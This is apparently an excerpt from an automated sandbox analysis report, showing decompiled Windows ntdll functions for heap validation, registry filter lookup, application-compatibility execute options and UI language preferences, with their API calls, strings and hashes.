DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC47CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC47D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20), ref: 6CEC47E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC4856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC4863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC4929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6CEC4942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC4970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6CEC4997

Strings

HEAP[%wZ]: , xrefs: 6CEC4652, 6CEC46B3, 6CEC47C6, 6CEC4851, 6CEC4917, 6CEC496B
HEAP: , xrefs: 6CEC465F, 6CEC46C0, 6CEC47D3, 6CEC485E, 6CEC4924, 6CEC4978
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6CEC46CF
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6CEC493D
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6CEC4992
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6CEC486F
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6CEC47E2
Non-Dedicated free list element %p is out of order, xrefs: 6CEC466B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: 95e59f8379331edc7c0fa5c2723ca749f03321dab8d80d3b4b282df4c2469564
Instruction ID: 63a8b203cd2de7773d8747cd6714cb50d855c9134a206cd9c0c1604bc6aa173e
Opcode Fuzzy Hash: 95e59f8379331edc7c0fa5c2723ca749f03321dab8d80d3b4b282df4c2469564
Instruction Fuzzy Hash: D0F1FF32B00645DFDB11CBA8C580BBAB7F5FF4A308F34841AE06597B51C734A95ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CE08239, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 233
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6CE08239(signed int* __ecx, long* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				long _v568;
				long _v572;
				intOrPtr _v576;
				short _v578;
				void* _v580;
				signed int _v584;
				intOrPtr _v586;
				void* _v588;
				void* _v592;
				void* _v596;
				intOrPtr _v600;
				long* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				void* _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t94;
				void* _t99;
				long _t118;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				void* _t138;
				intOrPtr _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0x6cefd360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E6CE16D30( &_v580, L"UseFilter") < 0) {
					L4:
					return E6CE4B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = E6CE49650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E6CE16D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(RtlPrefixUnicodeString( &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E6CE49820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = E6CE49600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E6CE16D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E6CE495D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = E6CE49650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
									}
									_t147 =  *( *[fs:0x30] + 0x18);
									if(_t147 != 0) {
										_t150 = RtlAllocateHeap(_t147,  *0x6cef7b9c + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(RtlCompareUnicodeString( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E6CE495D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E6CE495D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x6ce08239
0x6ce0824b
0x6ce0824e
0x6ce0825d
0x6ce08260
0x6ce0826e
0x6ce08275
0x6ce0827b
0x6ce0827d
0x6ce08287
0x6ce08294
0x6ce082ce
0x6ce082de
0x6ce082de
0x6ce0829c
0x6ce0829d
0x6ce082a8
0x6ce082a9
0x6ce082b1
0x6ce082b2
0x6ce082b4
0x6ce082bb
0x6ce62dfa
0x6ce082cc
0x6ce082cc
0x6ce62e19
0x6ce62e19
0x6ce62e1b
0x6ce62e1e
0x6ce62e30
0x6ce62e3d
0x00000000
0x00000000
0x6ce62e5a
0x6ce62e61
0x6ce62e68
0x6ce62e72
0x6ce62e72
0x6ce62e78
0x6ce62e7e
0x6ce62e80
0x6ce62e86
0x6ce62e8c
0x6ce62e8c
0x6ce62e92
0x6ce62e93
0x6ce62e99
0x6ce62e9a
0x6ce62e9c
0x6ce62e9d
0x6ce62ea4
0x6ce62ea8
0x00000000
0x00000000
0x6ce62eae
0x6ce62eb8
0x6ce62ec3
0x6ce62eca
0x6ce62ed1
0x6ce62edb
0x6ce62ee3
0x6ce62eef
0x6ce62efb
0x6ce62efc
0x6ce62f08
0x6ce62f12
0x6ce62f13
0x6ce62f22
0x6ce62f26
0x00000000
0x00000000
0x6ce62f3d
0x6ce62f41
0x6ce63069
0x6ce63069
0x6ce6306f
0x00000000
0x6ce6306f
0x6ce62f47
0x6ce62f4d
0x6ce62f53
0x6ce62f59
0x6ce62f5a
0x6ce62f5b
0x6ce62f5c
0x6ce62f64
0x6ce62f65
0x6ce62f70
0x6ce62f78
0x6ce62f84
0x6ce62f92
0x6ce62f92
0x6ce62f9d
0x6ce62fa2
0x6ce63004
0x6ce63008
0x00000000
0x00000000
0x6ce6300a
0x6ce63010
0x6ce63012
0x6ce63018
0x00000000
0x6ce62fa4
0x6ce62fa4
0x6ce62fa6
0x6ce62fa6
0x00000000
0x6ce62fa6
0x6ce62fab
0x6ce62fab
0x6ce62fab
0x6ce62fab
0x6ce62fb1
0x6ce62fb1
0x6ce62fc1
0x6ce62fc7
0x6ce62fcf
0x6ce63020
0x6ce6302a
0x00000000
0x00000000
0x6ce6302c
0x6ce63034
0x00000000
0x00000000
0x6ce63036
0x6ce63039
0x6ce63040
0x6ce6304a
0x6ce63067
0x00000000
0x00000000
0x00000000
0x6ce63067
0x6ce62fd1
0x6ce62fd7
0x6ce62fdc
0x6ce62fe4
0x6ce62fe6
0x6ce63074
0x6ce6307a
0x6ce63080
0x6ce63081
0x6ce63087
0x6ce63091
0x6ce6309f
0x6ce6309f
0x6ce630a6
0x6ce630a8
0x6ce630aa
0x6ce630b5
0x6ce630b5
0x6ce630b7
0x6ce630bf
0x6ce630c1
0x6ce630c1
0x00000000
0x6ce62dfa
0x6ce082c6
0x6ce62ddd
0x00000000
0x00000000
0x6ce62de8
0x00000000
0x00000000
0x6ce62dee
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,UseFilter,?,00000000,?), ref: 6CE0828D
ZwQueryValueKey.1105(?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6CE082B4
RtlInitUnicodeStringEx.1105(?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6CE62E36
RtlPrefixUnicodeString.1105(?,?,00000001,?,\??\,?,?,00000002,?,00000220,?,?,UseFilter,?,00000000,?), ref: 6CE62E53
ZwEnumerateKey.1105(?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?,00000220), ref: 6CE62E9F
ZwOpenKey.1105(00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?), ref: 6CE62F1D
RtlInitUnicodeStringEx.1105(?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\), ref: 6CE62F38
ZwQueryValueKey.1105(00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000,00000000,?,00000220), ref: 6CE62F6B
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,00000002,?,00000220,?,?,FilterFullPath,00000000,?,?,?,00000000), ref: 6CE62F92

Strings

FilterFullPath, xrefs: 6CE62F2C
\??\, xrefs: 6CE62E2A
UseFilter, xrefs: 6CE08263

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Init$QueryValue$EnumerateFreeHeapOpenPrefix
String ID: FilterFullPath$UseFilter$\??\
API String ID: 941260810-2779062949
Opcode ID: a053572124084da1597c6efdeed769d9b6c84db841f70fa3be08f3ede04d56b3
Instruction ID: 800cc3928dd6b31a006a8243aa05533a7f4eb806b37b92ae7a84bc556d109dfe
Opcode Fuzzy Hash: a053572124084da1597c6efdeed769d9b6c84db841f70fa3be08f3ede04d56b3
Instruction Fuzzy Hash: A7A18D319516299BDB21DF65CC88BD9B7B8EF44718F2002EAE90CE7A50D7359E88CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE040FD, Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E6CE040FD(void* __ecx) {
				signed int _v8;
				long _v548;
				signed int _v552;
				char _v556;
				unsigned int _v560;
				char _v564;
				char _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t53;
				unsigned int _t66;
				void* _t68;
				wchar_t* _t73;
				intOrPtr _t77;
				short* _t85;
				wchar_t* _t98;
				signed int _t102;
				signed int _t103;
				void* _t105;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;

				_t45 =  *0x6cefd360 ^ _t107;
				_v8 =  *0x6cefd360 ^ _t107;
				_t105 = __ecx;
				if( *0x6cef84d4 == 0) {
					L5:
					return E6CE4B640(_t45, _t85, _v8 ^ _t107, _t102, _t105, _t106);
				}
				_t85 = 0;
				E6CE1E9C0(3,  *((intOrPtr*)(__ecx + 0x18)), 0, 0,  &_v564);
				if(( *0x7ffe02d5 & 0x00000003) == 0) {
					_t45 = 0;
				} else {
					_t45 =  *(_v564 + 0x5f) & 0x00000001;
				}
				if(_t45 == 0) {
					_v552 = _t85;
					if(E6CE042EB(_t105) != 0) {
						L15:
						_t103 = 2;
						_v552 = _t103;
						L10:
						if(( *0x7ffe02d5 & 0x0000000c) == 4) {
							_t45 = 1;
						} else {
							_t53 = E6CE041EA(_v564);
							asm("sbb al, al");
							_t45 =  ~_t53 + 1;
						}
						if(_t45 == 0) {
							_t102 = _t103 | 0x00000040;
							_v552 = _t102;
						}
						if(_t102 != 0) {
							L33:
							_push(4);
							_push( &_v552);
							_push(0x22);
							_push(0xffffffff);
							_t45 = E6CE496C0();
						}
						goto L4;
					}
					_v556 = _t85;
					_t102 =  &_v556;
					if(E6CE0429E(_t105 + 0x2c, _t102) >= 0) {
						if(_v556 == _t85) {
							goto L8;
						}
						_t85 = _t105 + 0x24;
						E6CE95720(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v556);
						_v560 = 0x214;
						memset( &_v548, 0, 0x214);
						_t106 =  *0x6cef84d4;
						_t110 = _t108 + 0x20;
						 *0x6cefb1e0( *((intOrPtr*)(_t105 + 0x28)),  *((intOrPtr*)(_t105 + 0x18)),  *((intOrPtr*)(_t105 + 0x20)), L"ExecuteOptions",  &_v568,  &_v548,  &_v560, _t85);
						if( *( *0x6cef84d4)() == 0) {
							goto L8;
						}
						_t66 = _v560;
						if(_t66 == 0 || _t66 >= 0x214) {
							goto L8;
						} else {
							_t68 = (_t66 >> 1) * 2 - 2;
							if(_t68 >= 0x214) {
								E6CE4B75A();
								goto L33;
							}
							_push(_t85);
							 *((short*)(_t107 + _t68 - 0x220)) = 0;
							E6CE95720(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v548);
							_t111 = _t110 + 0x14;
							_t73 = wcsstr( &_v548, L"Execute=1");
							_push(_t85);
							if(_t73 == 0) {
								E6CE95720(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v548);
								_t106 =  &_v548;
								_t98 = _t106;
								_t112 = _t111 + 0x14;
								_t77 = _t98 + _v560;
								_v556 = _t77;
								if(_t98 >= _t77) {
									goto L8;
								} else {
									goto L27;
								}
								do {
									L27:
									_t85 = wcschr(_t106, 0x20);
									if(_t85 != 0) {
										 *_t85 = 0;
									}
									E6CE95720(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t106);
									_t112 = _t112 + 0x10;
									E6CE83E13(_t105, _t106);
									if(_t85 == 0) {
										goto L8;
									}
									_t41 = _t85 + 2; // 0x2
									_t106 = _t41;
								} while (_t106 < _v556);
								goto L8;
							}
							_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
							_push(3);
							_push(0x55);
							E6CE95720();
							goto L15;
						}
					}
					L8:
					if(E6CE041F7(_t105) != 0) {
						goto L15;
					}
					_t103 = _v552;
					goto L10;
				} else {
					L4:
					 *(_t105 + 0x34) =  *(_t105 + 0x34) | 0x80000000;
					goto L5;
				}
			}

0x6ce0410d
0x6ce0410f
0x6ce0411c
0x6ce0411e
0x6ce04158
0x6ce04168
0x6ce04168
0x6ce04126
0x6ce04130
0x6ce0413c
0x6ce604a2
0x6ce04142
0x6ce0414b
0x6ce0414b
0x6ce0414f
0x6ce0416b
0x6ce04178
0x6ce041d0
0x6ce041d2
0x6ce041d3
0x6ce041a7
0x6ce041b0
0x6ce041db
0x6ce041b2
0x6ce041b8
0x6ce041bf
0x6ce041c1
0x6ce041c1
0x6ce041c5
0x6ce041df
0x6ce041e2
0x6ce041e2
0x6ce041c9
0x6ce60628
0x6ce60628
0x6ce60630
0x6ce60631
0x6ce60633
0x6ce60635
0x6ce60635
0x00000000
0x6ce041c9
0x6ce0417d
0x6ce04183
0x6ce04190
0x6ce604af
0x00000000
0x00000000
0x6ce604b5
0x6ce604c8
0x6ce604d5
0x6ce604e5
0x6ce604ea
0x6ce604f6
0x6ce60518
0x6ce60522
0x00000000
0x00000000
0x6ce60528
0x6ce60530
0x00000000
0x6ce60543
0x6ce60545
0x6ce6054e
0x6ce60623
0x00000000
0x6ce60623
0x6ce60556
0x6ce60557
0x6ce6056f
0x6ce60574
0x6ce60583
0x6ce6058a
0x6ce6058d
0x6ce605b5
0x6ce605c0
0x6ce605c6
0x6ce605c8
0x6ce605cb
0x6ce605cd
0x6ce605d5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce605db
0x6ce605db
0x6ce605e3
0x6ce605e9
0x6ce605ed
0x6ce605ed
0x6ce605fa
0x6ce605ff
0x6ce60606
0x6ce6060d
0x00000000
0x00000000
0x6ce60613
0x6ce60613
0x6ce60616
0x00000000
0x6ce6061e
0x6ce6058f
0x6ce60594
0x6ce60596
0x6ce60598
0x00000000
0x6ce6059d
0x6ce60530
0x6ce04196
0x6ce0419f
0x00000000
0x00000000
0x6ce041a1
0x00000000
0x6ce04151
0x6ce04151
0x6ce04151
0x00000000
0x6ce04151

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?), ref: 6CE04130
ZwSetInformationProcess.1105(000000FF,00000022,?,00000004,00000003,?,00000000,00000000,?), ref: 6CE60635

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 6CE6058F
Execute=1, xrefs: 6CE6057D
CLIENT(ntdll): Processing section info %ws..., xrefs: 6CE605F1
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 6CE604BF
ExecuteOptions, xrefs: 6CE6050A
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 6CE605AC
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 6CE60566

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImageInformationProcess
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 4034523672-484625025
Opcode ID: d35258b8f212b76bd16cfdcca701c777c0b24d012d48e9ceeaff7e4534ccf2c1
Instruction ID: e18c07cfa1cc7a78533a27d15ab6c519b1c87e6a5b0343b46375e5f4e4720214
Opcode Fuzzy Hash: d35258b8f212b76bd16cfdcca701c777c0b24d012d48e9ceeaff7e4534ccf2c1
Instruction Fuzzy Hash: C2616B32701218BAEF10DB95ED84FEA37B8EF6930CF30019AD514A7E81D7709E559BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CEBCF70, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E6CEBCF70(void* __ecx, intOrPtr _a4, intOrPtr _a8, unsigned int* _a12) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				intOrPtr _t61;
				char _t92;
				unsigned int* _t94;
				void* _t104;
				char _t105;
				unsigned int _t107;
				intOrPtr _t109;

				_v44 = 7;
				_t92 = 0;
				_t96 = 0x2000000;
				_v40 = 0;
				_v52 = 0;
				_v48 = 0;
				_t109 = E6CE0F108(0, __ecx, __ecx,  &_v40);
				if(_t109 >= 0) {
					if(_a4 != 1) {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop\\MuiCached");
						_v32 = _v48;
						_t104 = 0x18;
						_v28 =  &_v44;
						_push( &_v36);
						_push(0x20019);
						_v60 = 0;
						_push( &_v60);
						_v36 = _t104;
						_v24 = 0x40;
						_v20 = 0;
						_v16 = 0;
						_t109 = E6CE49600();
						if(_t109 < 0) {
							L5:
							if(_t109 == 0x80000005) {
								goto L9;
							} else {
								_push(_v60);
								E6CE495D0();
								_v64 = _t92;
								RtlInitUnicodeString( &_v48, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\MUI\\Settings");
								_v48 = _t104;
								_v44 = _t92;
								goto L7;
							}
						} else {
							RtlInitUnicodeString( &_v44, L"MachinePreferredUILanguages");
							_push(0x2000000);
							_t96 = _v68;
							_t109 = E6CE0F018(_t96,  &_v52,  &_v60, 0,  &_v64);
							if(_t109 >= 0) {
								goto L9;
							} else {
								goto L5;
							}
						}
					} else {
						RtlInitUnicodeString( &_v36, L"Control Panel\\Desktop");
						_v36 = 0x18;
						_v32 = _v48;
						L7:
						_v68 = _t92;
						_v36 =  &_v52;
						_push( &_v44);
						_push(0x20019);
						_v32 = 0x40;
						_push( &_v68);
						_v28 = _t92;
						_v24 = _t92;
						_t109 = E6CE49600();
						if(_t109 >= 0) {
							RtlInitUnicodeString( &_v52, L"PreferredUILanguages");
							_push(_t96);
							_t96 = _v76;
							_t109 = E6CE0F018(_t96,  &_v60,  &_v68, _t92,  &_v72);
							L9:
							if(_t109 != 0xc0000034) {
								_t105 = _v56;
								if(_t105 != 0) {
									if(_t109 != 0x80000005) {
										_t109 = 0xc0000034;
									} else {
										_t107 = _t105 + 1 >> 1;
										if(_a8 != _t92) {
											_t94 = _a12;
											if( *_t94 >= _t107) {
												_push(_t96);
												_t109 = E6CE0F018(_v60,  &_v44,  &_v52, _a8,  &_v56);
												if(_t109 < 0) {
													goto L17;
												} else {
													if(_v56 == 7) {
														goto L16;
													} else {
														_t109 = 0xc0000034;
														goto L17;
													}
												}
												L29:
											} else {
												_t109 = 0xc0000023;
												L16:
												 *_t94 = _t107;
											}
											L17:
											_t92 = 0;
										} else {
											_t109 = _t92;
											 *_a12 = _t107;
										}
									}
								}
							}
						}
					}
				}
				_t61 = _v40;
				if(_t61 != 0) {
					if(_t61 != 0xffffffff) {
						 *0x6cde6cc4(_t61);
					}
					_v40 = _t92;
				}
				if(_v52 != 0) {
					_push(_v52);
					E6CE495D0();
				}
				return _t109;
				goto L29;
			}

0x6cebcf82
0x6cebcf8c
0x6cebcf91
0x6cebcf96
0x6cebcf9a
0x6cebcf9e
0x6cebcfa7
0x6cebcfab
0x6cebcfb9
0x6cebcfe1
0x6cebcfea
0x6cebcff4
0x6cebcff5
0x6cebcffd
0x6cebcffe
0x6cebd007
0x6cebd00b
0x6cebd00c
0x6cebd010
0x6cebd018
0x6cebd01c
0x6cebd025
0x6cebd029
0x6cebd05d
0x6cebd063
0x00000000
0x6cebd069
0x6cebd069
0x6cebd06d
0x6cebd07b
0x6cebd080
0x6cebd085
0x6cebd089
0x00000000
0x6cebd089
0x6cebd02b
0x6cebd035
0x6cebd03a
0x6cebd03b
0x6cebd053
0x6cebd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6cebd057
0x6cebcfbb
0x6cebcfc1
0x6cebcfca
0x6cebcfd2
0x6cebd08d
0x6cebd091
0x6cebd095
0x6cebd09d
0x6cebd09e
0x6cebd0a7
0x6cebd0af
0x6cebd0b0
0x6cebd0b4
0x6cebd0bd
0x6cebd0c1
0x6cebd0cd
0x6cebd0d2
0x6cebd0d3
0x6cebd0eb
0x6cebd0ed
0x6cebd0f4
0x6cebd0f6
0x6cebd0fc
0x6cebd104
0x6cebd18d
0x6cebd10a
0x6cebd10b
0x6cebd110
0x6cebd11b
0x6cebd120
0x6cebd15e
0x6cebd179
0x6cebd17d
0x00000000
0x6cebd17f
0x6cebd184
0x00000000
0x6cebd186
0x6cebd186
0x00000000
0x6cebd186
0x6cebd184
0x00000000
0x6cebd122
0x6cebd122
0x6cebd127
0x6cebd127
0x6cebd127
0x6cebd129
0x6cebd129
0x6cebd112
0x6cebd115
0x6cebd117
0x6cebd117
0x6cebd110
0x6cebd104
0x6cebd0fc
0x6cebd0f4
0x6cebd0c1
0x6cebcfb9
0x6cebd12b
0x6cebd131
0x6cebd136
0x6cebd139
0x6cebd139
0x6cebd13f
0x6cebd13f
0x6cebd148
0x6cebd14a
0x6cebd14e
0x6cebd14e
0x6cebd15b
0x00000000

APIs

Part of subcall function 6CE0F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6CEBCFA7,?,?,?), ref: 6CE0F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6CEBCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6CEBD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6CEBD0CD
ZwClose.1105(?,?,?,?), ref: 6CEBD139
ZwClose.1105(00000000,?,?,?), ref: 6CEBD14E

Strings

PreferredUILanguages, xrefs: 6CEBD0C3
MachinePreferredUILanguages, xrefs: 6CEBD02B
@, xrefs: 6CEBD010
